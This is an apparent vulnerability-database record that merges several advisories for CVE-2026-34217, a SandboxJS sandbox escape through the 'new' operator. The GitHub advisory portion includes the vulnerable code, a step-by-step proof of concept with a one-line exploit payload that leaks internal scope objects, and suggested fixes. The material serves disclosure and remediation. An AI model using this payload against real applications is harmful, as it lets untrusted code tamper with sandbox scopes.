{"id":"GHSA-hg73-4w7g-q96w","revision":null,"records":[{"revision":"2bb778819b714984af85cbeaaea33c11","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34217","aliases":[],"title":"SandboxJS has a Sandbox Escape via Prop Object Leak in New Handler","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":"2026-04-06T15:12:52.871+00:00","modifiedAt":"2026-04-06T15:40:46.653+00:00","affected":[{"ecosystem":"Vendor product","name":"SandboxJS","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nyariv\",\n                    \"product\": \"SandboxJS\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.8.36\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34217","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34217","identifiers":["CVE-2026-34217"]},"retained":false,"historicalAffected":[]},{"revision":"5113272d11c44a22a6753b69580e94f2","observedAt":"2026-11-01T06:05:52.378+00:00","statement":{"source":"euvd","id":"EUVD-2026-19301","aliases":["CVE-2026-34217","GHSA-hg73-4w7g-q96w"],"title":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, …","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19301","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 6, 2026, 3:12:52 PM","dateUpdated":"Apr 6, 2026, 3:40:46 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-19301","identifiers":["EUVD-2026-19301","CVE-2026-34217","GHSA-hg73-4w7g-q96w"]},"retained":false,"historicalAffected":[]},{"revision":"52ddf48faaf04f938f1b57de5ecc6e76","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-34217","aliases":[],"title":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, …","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":"2026-04-06T16:16:34.89+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":"HIGH"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34217","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-668"],"productCriteria":["cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-06T16:16:34.890","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34217","identifiers":["CVE-2026-34217"]},"retained":false,"historicalAffected":[]},{"revision":"9c86e15b3de54d679f1419e157c568c6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-hg73-4w7g-q96w","aliases":["CVE-2026-34217"],"title":"SandboxJS: Sandbox Escape via Prop Object Leak in New Handler","description":"## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275–1280\n\n```typescript\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized\n  },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493–605\n\n```typescript\naddOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {\n  // ...\n  const vals = b\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return [item];\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized\n  // ...\n  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized\n  sanitizeArray(ret, context);               // ← Return IS sanitized\n  done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has:\n\n```typescript\nclass Prop {\n  context: any;       // The object the property belongs to\n  prop: PropertyKey;  // The property name\n  isConst: boolean;\n  isGlobal: boolean;\n  isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing:\n\n```javascript\n{\n  globalThis: <real globalThis>,\n  Function: <real Function constructor>,\n  eval: <real eval function>,\n  console: { log: console.log, ... },\n  Array, Object, Map, Set, Promise, Date, Error, RegExp,\n  isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat > exploit.mjs << 'EOF'\nimport pkg from '@nyariv/sandboxjs';\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler's behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    const sanitizedArgs = b.map((item) => valueOrProp(item, context));\n    const result = new a(...sanitizedArgs);\n    const sanitized = getGlobalProp(result, context) || result;\n    sanitizeArray(sanitized, context);\n    done(undefined, sanitized);\n  },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```","state":0,"publishedAt":"2026-04-03T21:45:38+00:00","modifiedAt":"2026-04-06T23:34:35.032348+00:00","affected":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.36"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w","https://nvd.nist.gov/vuln/detail/CVE-2026-34217","https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287","https://github.com/nyariv/SandboxJS"],"sourceUrl":"https://github.com/advisories/GHSA-hg73-4w7g-q96w","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hg73-4w7g-q96w","identifiers":["GHSA-hg73-4w7g-q96w","CVE-2026-34217"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T14:57:20.8260435+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T14:57:20.8260435+00:00","lastSuccessAt":"2026-11-01T14:57:20.9959229+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.9959241+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d531ae12fd03a30fe810f370dfdaee6d5ce6932749e1e8d224c6f881789a42e1","complete":true,"records":417653,"lastAttemptAt":"2026-11-01T14:57:20.4936635+00:00","lastSuccessAt":"2026-11-01T14:57:20.4630684+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.4936635+00:00","snapshotPublishedAt":"2026-11-01T14:28:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7a3763b612e249af8e21823e33cbf35e","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T15:09:18.8870785+00:00","lastSuccessAt":"2026-11-01T15:09:18.883+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:09:18.883+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T14:57:20.8260435+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T14:57:20.8260435+00:00","lastSuccessAt":"2026-11-01T14:57:20.9969402+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.9969412+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-6f777ca48c9f4a26b09cd3abcf1e29ef","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T14:57:28.522156+00:00","lastSuccessAt":"2026-11-01T14:57:28.517+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:28.517+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T14:57:20.7705737+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.7705737+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T14:57:20.5439977+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.5439977+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T14:57:20.7877402+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.7877402+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T14:57:20.6511816+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.6511816+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}